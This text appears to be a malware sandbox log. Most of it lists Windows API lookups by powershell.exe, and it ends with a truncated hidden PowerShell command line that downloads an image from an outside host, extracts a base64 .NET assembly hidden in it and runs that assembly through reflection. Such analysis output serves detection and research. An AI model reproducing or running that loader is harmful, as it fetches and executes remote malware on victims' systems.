"powershell.exe" called "GetProcAddress" with a parameter GetHostConfigurationFile_RetAddr (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetCORVersion_RetAddr (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetCORVersion (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetCORSystemDirectory (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetCORSystemDirectory_RetAddr (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter NotifyServiceStatusChangeW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter RtlUnwind (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter SetThreadStackGuarantee (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter AddVectoredContinueHandler (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter RemoveVectoredContinueHandler (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetWriteWatch (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter ResetWriteWatch (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CreateMemoryResourceNotification (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter QueryMemoryResourceNotification (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultUILanguage (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetVersionEx (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetVersionExW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter SetErrorMode (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSize (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfo (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter lstrlen (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter lstrlenW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter ND_RI2 (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter ND_RI2_RetAddr (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter lstrcpy (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter lstrcpyW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter EnumWindowsW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessIdW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter WerSetFlags (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleNameW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CryptAcquireContextA (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CryptGetHashParam (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CryptImportKey (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CryptExportKey (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CryptGenKey (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CryptGetKeyParam (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CryptDestroyKey (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CryptVerifySignatureA (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CryptSignHashA (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CryptGetProvParam (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CryptGetUserKey (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CryptEnumProvidersA (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CryptCreateHash (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CryptHashData (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CryptDestroyHash (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryShim_RetAddr (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryShim (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter ConvertLangIdToCultureName (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfo (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfoW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformationW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter ND_RI4 (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembershipW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitle (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitleW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleWindow (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter ShowWindow (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariable (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CreateEvent (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter WinSqmIsOptedIn (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStrings (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStringsW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter VirtualQuery (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GlobalMemoryStatusEx (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKey (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValue (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyEx (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameEx (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter ReleaseMutex (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSource (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSourceW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter DeregisterEventSource (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter ReportEvent (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter ReportEventW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetLogicalDrives (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetDriveType (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformation (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentDirectory (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandleW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleModeW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguage (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguageW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter RasEnumConnections (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter RasEnumConnectionsW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter WSASocket (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetComputerName (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter ConvertStringSecurityDescriptorToSecurityDescriptor (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter ConvertStringSecurityDescriptorToSecurityDescriptorW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CreateFileMapping (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CreateFileMappingW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter MapViewOfFile (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CreateWellKnownSidW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CreateMutex (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CreateMutexW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter WaitForSingleObject (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter OpenMutex (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter OpenMutexW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter RasConnectionNotification (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter RasConnectionNotificationW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter TraceRegisterExA (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter TracePrintfExA (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter QueryServiceStatus (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CloseServiceHandle (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter RegOpenCurrentUser (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter RegNotifyChangeKeyValue (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetNetworkParams (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter WinHttpOpen (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter WinHttpOpenW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter WinHttpCloseHandle (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter WinHttpCloseHandleW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter StrRChrA (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter WSAConnect (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetProductInfo (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter InitSecurityInterfaceW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter InitSecurityInterfaceA (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter FreeContextBuffer (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter RpcStringFreeW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetHashInterface (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter SslIncrementProviderReferenceCount (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter SslImportKey (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetCipherInterface (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetBestInterfaceEx (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter SHGetValueA (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter RtlConvertSidToUnicodeString (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateContextProperty (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContextW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CertCloseStore (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateStore (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateStoreW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CertEnumCertificatesInStore (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CertEnumCertificatesInStoreW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateChain (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CertOpenStore (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CertOpenStoreW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CertAddCertificateLinkToStore (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CertAddCertificateLinkToStoreW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter ND_WI4 (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter ND_WI4_RetAddr (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateChain (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateChainW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter ConvertStringSidToSidW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter ResetEvent (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetProxyForUrl (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetProxyForUrlW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter RpcAsyncInitializeHandle (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter OpenSCManagerW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter OpenServiceW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter StartServiceW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter NdrAsyncClientCall (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter BCryptVerifySignature (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter UrlGetPartW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter RpcAsyncCompleteCall (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter inet_addr (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter getaddrinfo (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter freeaddrinfo (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter EnumerateSecurityPackagesW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter lstrlenWW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter RtlMoveMemory (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter RtlMoveMemoryW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter FreeCredentialsHandle (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter AcquireCredentialsHandleW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter RegCreateKeyExW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter DeleteSecurityContext (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter InitializeSecurityContextW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter send (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter recv (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter SslOpenProvider (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter QueryContextAttributesW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter SslLookupCipherSuiteInfo (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetUserProfileDirectoryW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter BCryptOpenAlgorithmProvider (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter BCryptGetProperty (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter BCryptCreateHash (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter BCryptHashData (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter BCryptFinishHash (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter BCryptDestroyHash (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetSignatureInterface (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter BCryptImportKeyPair (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter BCryptDestroyKey (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetAsymmetricEncryptionInterface (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter I_CryptNetGetConnectivity (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter IsNetworkAlive (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CryptRetrieveObjectByUrlW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter WinHttpSetOption (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter WinHttpCrackUrl (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter StrCmpNW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter WinHttpConnect (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter WSAStringToAddressW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter WinHttpOpenRequest (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter UrlCanonicalizeW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetDefaultProxyConfiguration (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetAddrInfoW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter FreeAddrInfoW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter WSARecv (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter TranslateCharsetInfo (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter TranslateCharsetInfoW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter WriteConsole (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetSidSubAuthorityCount (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetSidSubAuthority (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CryptReleaseContext (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter RpcBindingFree (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CertVerifyCertificateChainPolicyW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter SetLastError (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CertVerifyCertificateChainPolicy (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter EncryptMessage (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter SslEncryptPacket (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter SslDecrementProviderReferenceCount (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter SslFreeObject (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter shutdown (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter DecryptMessage (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter SslDecryptPacket (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter WinHttpSendRequest (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter DnsGetProxyInformation (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter WinHttpReceiveResponse (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter WinHttpQueryHeaders (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter StrStrIW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter WinHttpQueryDataAvailable (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter WinHttpReadData (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleOutputCP (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleOutputCPW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObject (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObject_RetAddr (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttribute (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttributeW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess_RetAddr (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter NetApiBufferFree (UID: 00000000-00004012)32:T44b,Process "powershell.exe" with commandline "-windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/666/683/original/js.jpg?1700183864';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<>';$endFlag = '<>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, 